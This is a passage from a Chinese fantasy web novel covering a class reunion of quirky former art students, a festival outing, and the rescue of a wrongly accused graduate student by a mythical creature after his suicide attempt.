收敛是收敛了,但也只能避过那些不敏感的人类,对于动物来说,他比以前更亮了呢:)
这是动物们与生俱来的天赋,它们能感觉到的不是愿力本身,而是愿力带来的祝福中潜藏的亲和力。
吴惟这次倒是畅行无阻。
看着眼前的两姐妹,吴惟有些愣怔,“虫虫,你脸色好差。”
沃语冰逮到个人就胡搅蛮缠,“我想喝咖啡她们不给!”
“我是怕你猝死在我店里!”云菲冷酷无情揭穿她,“胃不好就少喝点咖啡。”
“可是我胃好疼,好想吐,就想来点热的嘛!”
“热水还不是热的?”
“但是它没味儿!”
“要不,给她含片生姜?”
一时之间空气有些静默,沃语冰僵硬转头,看着吴惟的眼神有些不可思议。
“你是魔鬼吧,姜是人吃的东西?!”
“抱歉…”吴惟一脸无辜眨眼,“我能想到的饮品店可能会备用的,能治胃气不降的只有生姜。”
“你这人…”沃语冰很愤怒,“你知不知道你这样是找不到老婆的!”
吴惟莫名,这是什么很严重的诅咒吗?
“可是人家有画板欸~”
“噗…”
店里的同学有一个算一个,刚刚听到动静跑来围观的群众具是一副忍俊不禁的表情。
刚刚那句人家,是仰某人捏着嗓子客串的,那语调欠揍得,连没觉得这说法本身有什么问题的吴惟都忍不住抽了抽嘴角。
但他还是点了点头认同了这句话。
“你把画板当老婆?”沃语冰更不可思议了。
其实倒也没有,吴惟看着就不像会跟什么人谈恋爱的样子,她想象不来,但嘴上不能输。
“搞oc的不都这样吗?”吴惟理所当然的说。
“虫虫,你的生姜片来了。”云菲把托盘怼到沃语冰面前。
沃语冰迫于妹妹的淫威,委委屈屈塞到嘴里,差点泪流满面。
吴惟一手抱猫,一手端着他的百香果,头顶一只闹闹,一路浩浩荡荡,看的人眼热。
闹闹还是有点怕猫的,在吴惟进来之后就已经飞到他头上了。
此时店里已经有好几个同学在了,云菲和沃家姐妹不说了,财神爷从饶,刚刚怪叫的仰某人,顾六六,风神千叠,神之嘴季慎思,笑笑也到了。
大姐头还没来,听其他人说是路上堵车了。
之前就说了,他这群同学一个个都是奇葩,他们的网名其实都有些来头。
班群的名字老早就被班长改成了只有管理可以更改的模式,他们的网名都带有点个人特色。
顾六六的手办达人之前就说过了,云菲爱猫所以叫喵姐,大姐头是班长,笑笑是因为不爱笑,吴惟的绰号以前是隐形人。
沃家姐妹被戏称“夏虫不可语冰,但可谈海,井蛙不可语海,但可论冰”,所以虫虫沃语冰对空间尺度的把握能精准到毫米,呱呱沃语海是人形计时器,能精确到秒。
至于风神,因为只要她说风来,就一定会有风,跟玩召唤似的,财神爷是欧皇,不过性格有些胆小,危机意识很强,很能囤东西,所以大家也叫他屯屯鼠。
神之嘴是毒奶,只要说出口,绝对不灵,是以毕业了被一家公司老总招去当秘书,要求他每天变着法骂自己,后来生意越做越大…咳。
总之他们班各有各的奇葩,但最神奇的是,他们没有一个和玄门有关系。
哪怕是喜欢符文的假道长文静,也是自学成才然而技能点点歪了,她的符文只有不相干的作用。
“呦,神子大人好大阵仗~”一听又是欠揍的仰某人在耍宝,“啊不对,现在应该叫崽崽。”
他最近快乐的不行,自从吴惟给他画的那幅画拿回去,他就没怎么看到乱七八糟的东西,顺的不行。
反倒是他叔,一家,走在路上都能被狗追,走路平地摔还摔骨折了,报警抓个偷盗商业机密的间谍,因为偷税漏税把自己坑进去了…
总之要多惨有多惨。
到现在都没有生命危险,大概还是因为债太多没还完,不能死吧,当然这只是仰某人报复性的想法。
要不说因果符阵好用呢,人家机制智能啊。
人一快乐,就容易犯欠。
然而吴惟懒得理他,他发誓迟早也得让孰湖给他也来个举高高,哼!
“你现在更像个人了。”这是顾六六。
“明明更像个魔鬼!”沃语冰愤愤,被沃语海镇压了。
顾鎏没理他们,直接拉着吴惟把他按到贵妃椅上,“睡吧。”
吴惟:“?”
不是,看起来过劳的是沃语冰吧,他自从离开灾区作息正常的不行!
千叠在旁边笑眯眯地解释道:“他的意思是,躺下让他拍素材。”
“妙啊,美人醉卧猫猫毯,嘿嘿。六六你好会。”
吴惟无奈,还能怎么办,只能照做。
别说,被毛茸茸包围的感觉真好,身体不自觉就放松了,吴惟很快就睡着了。
闹闹在他躺下的时候飞走了,看猫猫们不会伤害它,胆子奇大,直接落在橘猫背上,橘猫懒懒地看了它一眼就没管它了。
布偶窝在吴惟怀里打瞌睡,其他猫猫自己在吴惟身边找了个地方卧下,场面一度很温馨。
就连千叠也掏出了自己的相机。
她跟顾鎏可不一样,顾鎏只会为了参考尽量全面地拍素材。
而她是专门搞摄影的,虽然平时拍的都是野生动物和自然风光,但并不是说人她就不会拍了,所谓触类旁通嘛。
“谁能想到,神子大人的高光时刻,竟然在毕业之后。”季慎思忍不住吐槽。
不是他说,这架势,跟大明星去拍杂志封面有得一拼了。
“谁说不是呢。”沃语冰打了个哈气,整个人都变慵懒了,窝在卡座里抱着抱枕。
她确实感觉好多了,不再恶心,也不再想打嗝,胃也不疼了。
舒舒服服,晕晕乎乎,生姜有这么管用吗?
当然没有,最多能压一压,其实更多的是吴惟睡着的时候无意识放出的愿力的作用。
同学们陆陆续续到场,直到晚上七点左右,最后一个被堵路上的班长大人终于压着点到了。
“人齐了。”云菲大手一挥,指挥大家上楼,“走,开饭。”
“开饭~开饭~”
人还没动,闹闹先扑腾着小翅膀飞了上去,这个季节,它的羽毛差不多长齐了,飞得自然很利索。
鸟儿着急的小模样逗笑了一众同学,“神子大人养的小东西不一般。”
乐楚楚肩膀上的小玉米抬起头,吐了两下蛇信子,似乎是想反驳这话的样子。
出来玩她不敢带有毒的,所以带了玉米蛇,反正她开车,也不怕吓到人。
云菲把门反锁好,带着众人上楼。
至于喵喵们,数量太多,又不好厚此薄彼,被云菲冷酷地要求留在楼下。
没了喵喵干扰,殳云烟立马换了个人抱它。
没错是吴惟,好久不见,甚是亲切。
“某些人,动物缘可真好。”这酸不溜秋的话语,自然是班长大人,毕竟就她家被拐走的最多。
孰湖都不在身边了。
沃语冰对着班长挤眉弄眼:“大姐头吃醋啦~”
“烟烟,我不是你最喜欢的铲屎官了吗?”乐楚楚做出一副假哭的表情,没一会儿差点真哭了。
小玉米慢悠悠探出头,伸长了身体,把脑袋搭在她身边的吴惟肩头上,往前拱了两下,一用力彻底告别了她。
乐楚楚:“?”
殳玲毫不客气:“呦~乐极生悲了。”
仰飞光:“6666崽崽是德鲁伊转世吧!”
闹闹飞了一圈回来发现自己位置被占了,愤怒去啄蛇头,被吴惟挡住了。
它只好扑腾两下飞到吴惟头上,并无师自通学会了:“惟惟坏~惟惟坏~”
吴惟:“?”
不是你整天都学点啥啊!
“噗…”
“哈哈哈哈…”
“海王翻车,喜闻乐见~”
全班爆笑。
吴惟痛苦捂脸,说真的他这个样子也没办法吃饭啊,于是他问乐楚楚,“你带爬箱了吗?”
“带了个人渣盒,等会儿我下楼去取。”她放前台了。
很好,解决一个。
吴惟掏出面包虫,跟
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云菲要了猫盆,往里面放了一把面包虫,闹闹不缠着他了,一边叫着“开饭”一边专心干饭。
第二个。
第三个直接被殳玲薅走了,他顺势从兜里掏出孰湖塞殳玲口袋里了,借着狐狸的身体挡住众人视线,没人发现他的小动作。
殳玲:“?”
她那么大个孰湖就变这么一点点了?
孰湖见到殳玲还是很开心的,小小的不能举高高,它用脸颊蹭了蹭她口袋,她用手指揉了揉孰湖脑袋当做回应。
殳玲给小狐狸也准备好了食物,几人这才入席。
季慎思忍不住吐槽:“你们这一个个的都拖家带口啊。”
“那咋啦,”殳玲毫不在意,“反正咱们谁不知道谁啊,又不是外面,哪来那么多规矩。”
吴惟:“……”
实不相瞒,他腰上还挂着一口呢。
宁淮看这情况,总觉得自己有点碍事,飘去找闹闹了。
“确实不需要规矩,”仰飞光笑了笑,拿起酒瓶,“来,我给大家倒酒,谁开车不能喝的说一声,这里还有饮料。”
乐楚楚第一个举手,“我,我带蛇了不方便请代驾。”而且她怕蛇蛇嫌弃她。
常笑也默默举起手。
仰飞光不乐意了,“不是哥们,咱们这么久不见,你都不愿意喝一个吗?”
别人也就算了,常笑可是他室友!
常笑:“我得开车,不能请代驾。”不安全。
更何况吴惟不会开车。
“行叭。”虽然有点遗憾,其他人表示可以喝酒。
仰飞光倒了一圈,到吴惟这里:“崽崽想喝什么饮料?”
吴惟:“?”
“高中生不可以喝酒哦~”
“你上瘾了是吧?”吴惟冷冷瞪了他一眼,但仰飞光有持无恐,没见大姐头都站他这边吗?
她甚至改了备注。
周围一圈人要笑飞了,上学的时候怎么没发现这位隐形人同学这么好玩。
哦隐形了啊,那没事了。
“还是别闹了,”从饶小声劝了一句,“不然下一秒神子大人就要消失了。”
当真准备隐身的吴惟:“……”
不要拆穿我。
“说起来神子大人今天居然舍得打扮自己了,看来我们这群老同学还挺有面子的嘛。”沃语海抿了口酒,笑着说道。
刚刚那事揭过去了,仰飞光给吴惟倒了杯小木屋。
虽然是开玩笑,但其实大家也都知道他不喜欢喝酒才那么逗他的。
“他本来是懒得打扮的。”常笑毫不留情地揭穿,“是别人送来的。”
“哇偶~男的女的?”起哄的是那个中轴赛高甘经亘,一个对称癌死强迫症。
这个常笑真不知道。
“是个学妹,”吴惟一本正经胡扯,“耍剑很帅,是个很好的oc模特。”
乐楚楚狂笑:“不愧是oc人哈哈哈哈。”
被称为假道长的文静发现了点不一样的地方,凑过来拎住吴惟领口仔细看了一下,“这是符咒?”
“是啊,隐匿符。”
“噗,很符合你的个性。”
单调点评:“用色不够大胆,我觉得吴惟挺适合大红色的,不是我说,你整天给oc配的颜色那么爽利,怎么自己穿这么暗哑。”
“下次试试我做的衣服。”
吴惟:“饶了我吧。”
虽然单调叫单调,但他做衣服一点也不单调,追求极致的色彩,颜色拼接碰撞用的很大胆,他有自己的品牌,在时尚界还挺出名的。
但是极度不符合吴惟的低调美学,当然别人身上例外。
单调表示遗憾。
不过顾鎏给予了肯定,“我也觉得吴惟适合大红色,很配朱砂痣!”
他这是又有灵感了。
“我觉得你可以看看千叠。”吴惟祸水东引。
因为她拍摄内容主要是野生动物和自然风光,经常要往山里跑,身上颜色一块一块的,但黑是肯定的,有一种纯天然的野性美。
她身材也很好,若天气热,露出肚子你能隐约看到八块腹肌。
上学那会儿,她夏天就喜欢穿那种只到胸的运动背心,外面披个防晒衣外套,肚子上的腹肌都露在外面,别说很适合当参考。
虽然不是很礼貌,但是吴惟偷偷画了很多,咳…
可以说吴惟画画的速度和对人体肌肉的把握有她一份功劳,这对社恐来说可以说实属为了艺术闷头莽了。
倒也不是说千叠不让,如果他提,她肯定愿意,毕竟大家都是有艺术追求的,谁都能理解对方。
只不过那个时候大家都不熟,社恐某人也不可能开口就说“我能画你的腹肌吗?”
毕竟那是大一时候的事了。
不过偷偷画啧有偷偷画的好处,因为模特一直乱动,导致吴惟速记和手速得到了不小的提高。
千叠身材好,而且又是难得的黑美人,若是能让她给单调当模特,他的风格还可以再拓展拓展。
单调眼前一亮,这提议是真不错,话题对象果然换人了。
千叠倒是无所谓,她工作时间又不固定,完全可以在空窗期去给单调当模特,于是两人就这个话题掰扯起来。
“对了,你上次送来的小白鼠我家小玉米很喜欢,在哪买的,给我个链接呗?”这一听就是乐楚楚。
啊这…
“朋友养的,你要的话我再给你送点过去?”
乐楚楚:“行。”
“……”
.
49.第 49 章
同学聚会嘛,就是谈天说地,分享一些好玩的见闻,三班一群都是人才,自然能遇到不少有趣的事。
比如季慎思,刚入职一家公司的时候骂“煞笔老板”被老板听到了,老板非要他在夸自己,不许重样,夸了半个小时。
第二天直接爆出公司偷税漏税垮掉了。
类似的事发生了几次之后,被现在的老板招过去,老板见他的第一句话居然是让他骂自己。
虽然三班自己人都知道季慎思的神之嘴,但是吧,这老板你也是挺离谱的,哪怕再灵听到被骂也会生气吧。
结果人家没有,每天被骂的乐呵呵的,手里的资产也涨的飞快,为了不让季慎思拐回来祝福他,给他的工资也是两倍三倍的涨。
众人竖起大拇指,“不愧是你。”
从饶说他搬到了临市,准备在这里安家。
事情是这样的,从饶家里有个好赌的爹,上学那会儿要债的都堵到家门口了,再后来他爹跑了,留下他们孤儿寡母。
母亲为了还债打了好几份工最后累倒了,结果从那之后他的运气就来了。
他原本的运气就不错,但也仅限于玩游戏抽卡保底双黄,而那天他在超市刮奖刮了个十几万出来,把债填了,还剩一点给妈妈治病,给妹妹和自己交了学费。
之后财运再也没下来过,几乎只要是个抽奖就能中,天天走路上都能捡到值钱的东西,看起来有主的松去警局,无主的自己留着。
由于上交物品过多金额过大,让当地警局一度以为他不知什么目的自导自演这一出…好在最后调查清楚了。
因为穷怕了,也因为见多了他爹跟他妈要钱的场面,从饶会把那些能留下来分别藏在很多地方囤起来。
就这样一点一点的积累下来的小金库数量可观,平时某个同学急需用钱,他都能犄角旮旯抠出来应急,所以被同学们称为财神爷或者屯屯鼠。
据说前段时间他那个失踪的爹,又带着一屁股债回来了,结果你猜怎么着,正好人家债主是从饶认识的人。
一般来说这里都有反转,但是从饶这偏偏反过来,一个麻烦变两个。
他之前在海上一个游艇工作,碰到了一个钓鱼佬,那个钓鱼佬对他颐指气使的让他干这干那,从饶本来就胆小,整个人怂的不行,当然乖乖听话了。
那个钓鱼佬运气很差,次次空军,就拿他撒气,之后觉得无聊了,指使他去钓,还立了个赌约,说如果他钓上来一条给他一万,钓不上来,就扣他一个月工资。
从饶是谁啊,天选欧皇,别的事他都可以怂,唯独看运气的事,从来不怂。
于是他就上了,毫不意外大丰收,那个钓鱼佬很高兴,直接给了他一百万,还缠着他要了联系方式,说以后钓鱼都找他。
他坚信在欧皇身边能蹭到运气。
那个债主就是钓鱼佬,说这人骗他几千万,至于细节因为觉得自己太蠢就没说怎么骗的,从饶也不知道。
总之就是他爹欠了人家很多钱,对方看在他是从饶爹的份上不追究,但是要他给自己做十年自己小弟,嗯…助理。
虽然他给的多,但从饶不喜欢他,他是包子不等于喜欢受气,更何况是给他讨厌的人解决债务问题。
因为某个人失踪了近十年,他妈早就单方面离婚了,本来也不需要去解决这人的债务,于是他拒绝了。
那钓鱼佬还想纠缠,从饶不堪其扰,和家人一商量,举家搬迁临市了,但是以对方的家势,找到自己就是时间问题,他还是有点怕。
众人唏嘘,这事谁碰上都听窒息的,忽然感觉这人的财运是不是就是从遇人这方面分出去的。
不过没关系,玲玲姐发话了,那个钓鱼佬要是敢来临市,绝对让老实他盘着,没工夫来骚扰从饶。
殳家虽然不在临市,但殳玲在临市有人脉,再不济还有顾六六呢,顾家是正儿八斤的地头蛇,而且家里很宠顾鎏,只要他打个招呼,绝对让对方翻不起波浪。
顾六六表示同意,他也很护短。
到了沃语冰这里,开口就是大骂甲方,从头骂到了脚,方案改了上百版,是真的上百,不是虚数,最后还是要了第一版。
给她气的,她发誓以后绝对,不加钱不改方案!
三班众人表示心有戚戚,毕竟都是玩艺术的,大家或多或少都碰到过奇葩甲方。
哦不对,顾六六不算,他从来不给甲方好脸色。
仰飞光感触最深,他甚至有一次,整幅墙画都快完工了,甲方来了一句,想改方案,都给他气笑了。
他仰飞光什么人啊,仰家小少爷,再怎么样也不会受这种气,当即把扣除工人工资那部分的钱退了,撂挑子不干了。
轮到常笑了,他感觉没什么说的,当兵不就那样,训练,出任务,休息。
不过跟着吴惟之后好像发生了不少有意思的事,只不过大多数都不能说。
他大概说了一下吴惟点拨子车树的那次,因为具体不清楚怎么回事,只说吴惟被人当人生导师了就于是话题来到了吴惟这。
他能说什么呢,他就只说他把毕设之前的概念给那孩子讲了,他好像突然领悟了什么,听得众人云里雾里。
“所以那人是修真者?卡心境了?”
别说,这猜测挺合理,大家都没觉得什么不对,吴惟想想也是,反正大家都不正常,外面遇到个不正常的事也很正常了。
虽然不说,但其实大家都有默认玄学事存在的,于是说了一句对方是武者。
“哇偶,酷!”
仰飞光把上次吴惟被高中生追的事说了,最后解决方案居然是隐身,给众人笑到头掉。
轮到千叠了,她说有一次要进山拍摄,结果下了好几天雨,愣是没迈出去一步。
最后给她下烦了,她很暴躁地说了一句“来点狂风把那些破云都给我吹走得了。”
第二天,红色大风预警,雨是彻底停了,但他们在旅馆有避风呆了两天。
众人纷纷表示不愧是风神。
乐楚楚分享今年刚出壳的小蛇苗,还问有没有人想养,吴惟倒是有点想,不过想想家里会来很多精怪常驻就作罢了。
……
众人说说笑笑,一顿饭下来感情又回到了从前。
到了大学,很多人总是各忙各的,忙着考研考公考教资的,忙着提前打工适应环境的,忙着社团的,或者在宿舍躺着的。
但三班不同,因为他们每个人或多或少有点怪癖,或者特殊的能力,使得他们每个人都有孤僻和想要隐藏的一面。
但大家都是同类,藏能藏多久呢,当发现周围人和自己有着类似的特性,谁又能忍住不释放天性呢?
在一点点摩擦接触中,他们发现原来整个班都是同类,他们可以自由的展示自我,没有人会笑话或者排斥他们,便产生了很强烈的归属感。
以至于毕业三年了,感情依旧如初。
唯一不同的大概就是吴惟了,毕竟孵化三年才出壳的,是真少见:)
.
众人吃完饭,又玩到很晚才散开,太晚了不好回家,他们在附近酒店住了一晚,第二天早上各自离开。
吴惟醒来之后第一件事就是喂闹闹。
趴在床边的半人高版孰湖在他起了之后也跟起身,迷迷糊糊半睡半醒地贴着吴惟。
常笑甫一醒来,入眼就是这场景,他已经见怪不怪了,熟练地无视掉,直接去洗漱,出门取饭。
酒店免费的早餐,不吃白不吃。
不得不说清洁符纹真是个好东西,昨天撸一晚上猫,也没沾一根猫毛,一晚上过去了,衣服也一丝褶皱也没有。
他之前和夙家姐弟约的是第二天,也就是今天。
因为第一天的花车巡游作为不上不下的小油条的大二生,依旧是要参加的,他们忙活了一整天。
两人两兽吃完早餐才出门,到的时候时间刚刚好,早上八点多,夙家姐弟已经在等他们了。
吴惟看到他们的时候只觉得眼前一亮,好家伙,夙逸兴这家伙果然每人一身衣服。
墨绿和黑色拼色的改良旗袍,配黑色绣银色竹长直袖褙子,脚蹬黑色圆头小皮鞋的女生,一头蓬松侧马尾,搭在肩膀上。
她身材高挑,动作稍显局促,一看脸,哦豁这不是离歌嘛,好久不见。
原来她和夙家姐弟认识。
再看夙逸兴,她比离歌矮半个头,打底白色衬衫配深蓝色领带,下半身是宝蓝色拼花两片裙到小腿的位置,露出短筒尖头白色拼宝蓝色切尔西靴。
外搭是一件卡奇色风衣,月形簪半盘半散在脑后,垂下来的发丝松软地搭在肩膀上,配上圆圆的娃娃脸,时尚中带点娇憨的味道。
很迷惑人眼球,吴惟心里评价了一句。
因为这是个性格大大咧咧喜欢装弱的剑修,不是什么小甜妹。
她身边的夙明月碎发被风吹得稍微有点凌乱,今天摘了眼镜,露出了好看的桃花眼,右边眼角还带一点泪痣,比起平日少了份斯文,多了份贵气。
黑色绣银曳撒开衫外袍下是白色衬衣西裤,配上白色切尖头切尔西靴,看起来有种复古的感觉。
复的是西方的古,不过很好看就是了。
仔细看的话会发现,他们身上的衣服都有符文庇护,一眼就能看出其中下了很大功夫。
夙逸兴看到吴惟,也是眼前一亮,朝他招了招手。
待他上前,才骄傲地说:“我就知道你穿着一身肯定很好看!”
“姐姐眼光一向好。”姐控夙明月如是说道。
离歌也给予肯定:“嗯。”
夙逸兴把目光给到了吴惟,等待他的评价。
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吴惟:“……”
吴惟:“确实不错。”
夙逸兴这才高兴,“是吧,以后出去玩的衣服都给我包了。”
倒也不必每次都换吧!
夙逸兴满意点点头,这才介绍身边的人,“你应该认识,这是我室友离歌,上次你们去漫展,那个玄鸟的衣服是我做的哦~”
吴惟惊讶了,“这么巧?”
夙逸兴:“不巧,离歌跟我说了,我才盯上你的。”
离歌很高兴:“对吧,我就说无为太太很厉害!”
夙逸兴:“嗯!特别厉害!”
吴惟:“……”
虽然你们说的好像不是一回事。
吴惟也介绍了这边的人,“常笑,大学我同学。”
常笑:“你们好。”
夙逸兴觉得这人的身高,对她挺不友好的,抬头好累,不过让她好羡慕。
要是有这身高她装什么甜妹呢。
三人:“你好。”
吴惟把手放在肩膀上,小八哥跳上来,“八哥~八哥~”
“这是闹闹吧!”离歌眼睛里都快冒星星了。
“嗯。”
“真可爱,我能摸摸它吗?”
“可以帮他挠挠脖子,鸟类都挺喜欢挠脖子的。”
离歌上手了,小心翼翼扣了两下,闹闹舒服地歪过脖子趴了下来,没一会儿转了个面把头对准离歌手指。
“真聪明啊。”
闹闹鼓起肚子,“闹闹~聪明~聪明~”
“噗嗤”周围众人皆是忍俊不禁。
玩够了,几人看街上的摊位差不多也出摊了,就准备去逛逛。
第二天的摊位和第一天有点细微的变动,不过大差不差。
吴惟发现和朋友逛街的感觉和自己来的感觉似乎完全不一样。
这次他们走走停停,看到有趣的摊位会过去围观,有好吃的排队买一份…
和以前不同,这次他不是那个随时可能掉队被人遗忘的那个,反而隐隐称为几人的中心。
这种感觉有些说不上来,但因为大家都比较熟悉,吴惟倒没有不自在。
和几人说说笑笑,时间似乎过得很快,没一会儿就中午了。
“你们有什么想吃的吗?”
吴惟想了想问道:“之前商学院那边有家旋转小火锅挺好吃的,现在还在吗?”
“还有一家炸豆腐来着。”
他上学那会儿天天满校园的遛弯,有时候室友会让他带点好吃的回去,他就这么记住了几家不错的店。
“有有有,”夙逸兴狂点头,“那家豆腐我超爱!”
“不过小火锅不清楚,我不怎么去那边,除了买豆腐。”
夙逸兴看看离歌,离歌也说没去过,夙明月的计算机系在商学院附近,但是他没注意过,也不太清楚。
“那我们去看看?顺便买个豆腐?”夙逸兴馋虫被吴惟勾起来之后,就对它念念不忘了。
“行。”
“话说你不是艺术学院的吗,怎么跑那边吃小火锅了?”夙逸兴还是觉得很好奇。
“我上学那会儿宿舍楼层比较高,不是很喜欢爬楼,所以每天放学第一件事就是先在校园里逛一圈,有时候可能是两三圈。”
“好家伙,一圈下来就半个小时了吧!”
吴惟:“差不多,反正也没事干,逛校园的时候可以发呆。”
四人:“?”
不是哥们,你走着路发呆?
吴惟没感受到他们的疑惑,继续说道:“发呆的时候可以脑补很多设定和小场景,算是这一个很好的灵感来源。”
四人:“6”
他们还真没想过可以这样,该说不愧是学艺术的吗。
常笑倒是想到,当初这个老同学在班级就是透明人一样,一个看不住就消失了,有时候群里都不一定能找得到,感情是逛校园没看消息。
这段时间接触下来,他太了解了吴惟手机常年静音,所以经常看不见消息的习惯了。
“有时候不知道吃什么的时候,就找一家没吃过的去尝尝,就找到那家小火锅了。”
它是学校里最便宜的了,一根签子一块钱,还有那种一盘的,像海带啊,粉丝啊这种,一盘也都是一块。
他们的汤用的还是高汤,吴惟每次都是点个菌汤,放盘海带,放个冬瓜,直接煮成一锅养生汤,之后想吃什么菜再放。
听吴惟描述,四人都表示惊叹,第一次见火锅吃的这么健康的。
尤其是,听说吴惟这一锅吃下来才八块钱!
虽然他吃的全是素,但是真的好便宜啊!
“你好会吃啊,不行,我也要试试!”夙逸兴第一个响应。
如果合胃口,她要把它当日常晚饭,能省不少!
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50.第 50 章
几人有说有笑地往商学院的食堂走去。
临大的食堂和宿舍是根据学院分的,每个学院附近就有食堂和宿舍,除非特殊情况,一般学生住宿都是在自己学院附近的宿舍。
再加上学校食堂的饭菜都挺好吃,也挺全面,除了一些特别火的店以外,大部分时候学生们还是喜欢在自己宿舍附近就餐。
但是吴惟是个例外,他喜欢吃的那几个店分布校园各处,反正爱逛,连吃饭时间都可以凭借经验,和多数人完美错开,从来不跟人抢。
尤其是他还知道几个因为口味独特人很少,但是并不难吃的店,这如数家珍的模样,让婴灵都听愣了。
她甚至还问了一句:“你不是不爱吃嘛?”
吴惟:“不热衷不等于不喜欢,而且我当时是为了省钱来着。”
他从来都是点最便宜的那个。
夙逸兴表示,记下了记下了,之后一定要试试。
夙明月点头。
他们世家子弟不缺钱,但用钱的地方很多。
尤其是夙明月画符的材料,很贵的,虽然符卖出去也很赚,但他自己也要就一些防身啊!
更何况他一个玩电脑的,需要配置也很高,又是一笔开销。
“咦?”离歌突然发出惊疑的声音。
夙逸兴:“怎么了?”
离歌指着一边理科那边的综合教学楼楼顶的位置,“你们看,上面是不是有什么东西在动。”
几人顺着看了过去,是一个人,他已经很接近边缘,随时都可能掉下去。
常笑脸色骤变,想也没想就往那边冲。
作为一个军人,下意识的反应就是救人。
夙逸兴第二个反应过来冲了出去的,剑修玩的就是速度,没一会儿就追上了常笑。
今天是校庆,因为艺术楼那边场地够大,很多活动都是在那边举行的,理科这几个学院这边几乎没有什么人,自然也没有人注意到这边的动静。
但这边到底离得有点远,他们体能再好也是凡人,只能祈祷着那人先不要跳,上楼去能拦下他。
在他们将将赶到顶楼时,那个人影在他们眼前一跃而下。
而他们只看到了个背影。
“不!”
常笑冲到边缘,下意识伸手…
他知道抓不住,但还是下意识的把手伸了出去。
目光顺着手的方向看向楼下,悲痛的表情倏然一顿。
眼前没有血肉横飞的画面,他看到孰湖抱着那个男生站在墙壁上,注意到他的目光,朝他嘶鸣一声,抱着男生如履平地地走上来。
常笑松了口气,还好有孰湖在!
不过原来孰湖连九十度的坡都能走吗?它的构造到底是马还是岩羊?
夙逸兴看到这个人首马身的精怪,一脸震惊:“这这这这…这是孰湖?!”
孰湖听到自己的名字,嘤嘤叫了两声,算是回应。
把人放下后,孰湖在夙逸兴震惊的目光中,又走墙壁下了楼,没一会儿把吴惟三人依次抱了上来。
吴惟:“……”
就,他走楼梯也不是不行…不过这样确实快很多。
离歌看到孰湖的时候人就傻了,她看过吴惟所有作品,自然也看过孰湖。
她cos的玄鸟是她最喜欢的,但她只是cos,谁来告诉她为什么会看到一个真的?
她还被抱了起来…
她还走了刺激的墙路!
它身上的构造全部都是真实存在的!
离歌有点崩溃,无为太太你不会真的是什么天神转世吧?!!
还别说,就连夙明月也没好哪去,《山海经》中的精怪,大多都已经绝迹了,他居然看到了还活着的!
三人捧着被打碎的三观多少有点不知所措。
楼上隐蔽性会好一点,楼下看不到楼顶,楼顶一般不会有人上来。
吴惟让孰湖把他们往楼顶带,就是怕被更多人看见。
做完这一切,孰湖回到吴惟身边抱着他蹭了蹭,嘴里发出撒娇的嘤嘤声,就是不愿意回口袋里。
常笑抱着晕过去的男生,让他躺在自己胳膊上,一只手按压他的人中。
片刻,男生悠悠转醒,眼神有些愣怔。
何云江有些懵,他不是应该死了吗,他记得他从教学楼上跳了下去,然后…然后他好像看到了一个长得似人非人的怪物接住了他,再然后…没有然后了…
他的意识就陷入了昏迷。
何云江慢慢坐起来,看到身边围了五个人,和一个怪物,面带关切。
他忽然有种想哭的冲动,为什么,为什么都这样了还要有人救他!
如果老天不想让他死,为什么让他们早点出现。
现在的他如过街老鼠一般人人喊打。
就算被救了这一次,何云江也不觉得自己能活下去。
眼睛一酸,眼泪不受控制地往下掉。
孰湖“啪嗒啪嗒”走过来,抱起何云江转起了圈圈。
就像哄孩子一样。
夙明月:“都说孰湖喜欢举高高,原来是真的。”
对此吴惟最有发言权了。
他算是看出来了,孰湖不愿意回口袋里,就是因为担心刚刚救下的孩子。
它总是喜欢把人类都当成孩子,它认为孩子哄孩子能力肯定不如它强,所以它想要自己上。
吴惟有些无奈,他昨天听殳玲说起过,她和孰湖的相遇也像这样。
她儿时被人欺负,躲起来哭的时候,被孰湖发现了,它感受到了这个孩子的伤心,就把她抱起来举高高。
很快殳玲对它的好奇心压过了难过的情绪,抱着孰湖不撒手。
她们成为朋友之后,每次殳玲不开心的时候,它总会去抱抱她,它以为人类只要被抱起来,所有的烦恼就会消失。
吴惟注意着何云江的情绪,发现他没有被孰湖吓到,并且确实慢慢好起来,才松了口气。
看他不哭了,孰湖慢慢把他放下,“哒哒哒”跑到吴惟身边邀功。
看,还是我会哄吧!
一个怪物都会关心人,而他的朋友和导师呢,何云江如是想道。
待他收拾好情绪,众人这才问起了事情始末。
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临大虽然是综合学校,但更偏向理科一些,虽然师资不及一些理科名校,但硬件设施却不输于他们。
所以很多考不上那些名校的学生都会退而求其次,优先考虑临大,何云江也是如此。
他是材料专业的研究生,他家境不好,但天赋好,学习又努力,每学期拿到的奖学金和助学金足够他的学费和日常花销了。
所以他格外看中,好在努力有回报。
上学期做实验的时候无意间发现了一种特殊物质。
具体是什么,在座的没有同专业的听不懂,但听何云江描述的意思是,它似乎能帮助人进入深度睡眠。
这件事他没有瞒着导师,发现之后很快就上报了,导师也发现这种物质的作用,帮助他组建团队。
一个暑假几乎都耗在实验室了,上个月他们的实验终于取得了进展,摸清了那种物质的特性,何云江又用了两天时间把实验记录整理成论文交给导师。
因为实验不是他自己一个人完成的,有导师的帮助,所以发表的时候是以团队的名义。
但让他没想到的是这篇凝聚他心血的论文的团队名单里却没有他的名字。
他发现之后找导师理论,但所有人都变了一副面孔,大家都否认了他的参与。
他们在人前说他是被导师带去打下手的,但他起了心思想要抢夺师兄成果,说是导师不忍心,没有拆穿他,没想到他竟然咄咄逼人,跑去找导师麻烦。
他辩解,没有一个同学相信他,哪怕是他原本在这个学校最要好的朋友,也会用厌恶的眼神看他。
他想要证明自己,但要让他拿出证据他做不到,因为实验的资料成果是整个实验室共享的,就连实验室的监控数据都被他们抹去了。
后来他才知道,就在他在实验室闭关的时候,针对他的造谣已经开始了,他来晚了,流言早已深入人心。
这件事后来被好事者披露在网上,事情闹大以后,由于影响恶劣,学院那边已经决定将他开除了。
何云江家境不好,本来靠着毅力和奖学金走到这里,这次发现的物质甚至可以说是能够给他一个进研究所的敲门砖。
但是一切都没了,抢夺他人成果在学术界本来就是忌讳,他又被学校开除,可以说以后在科学领域再也没有立足之地了。
多年的努力化为泡影,加上网络上、现实中的人们对他的言语暴力和冷暴力何云江再也支撑不下去了,选择在校庆这天轻生。
他甚至在想,或许他的生命能给他清白。
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“他没有说谎。”吴惟和常笑同时给出判断。
常笑作为特种兵,对审讯方面也有一定研究,至少对人观察人的情绪变化被
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训练的很敏感。
而吴惟则更多的是通过周身气息感知到的,这也是这段时间以来训练灵识小有所成。
何云江有些怔忪,这些人这么相信自己的话吗?
此时的离歌已经泪流满面了,尤其是听到吴惟和常笑的话,哭的更厉害了。
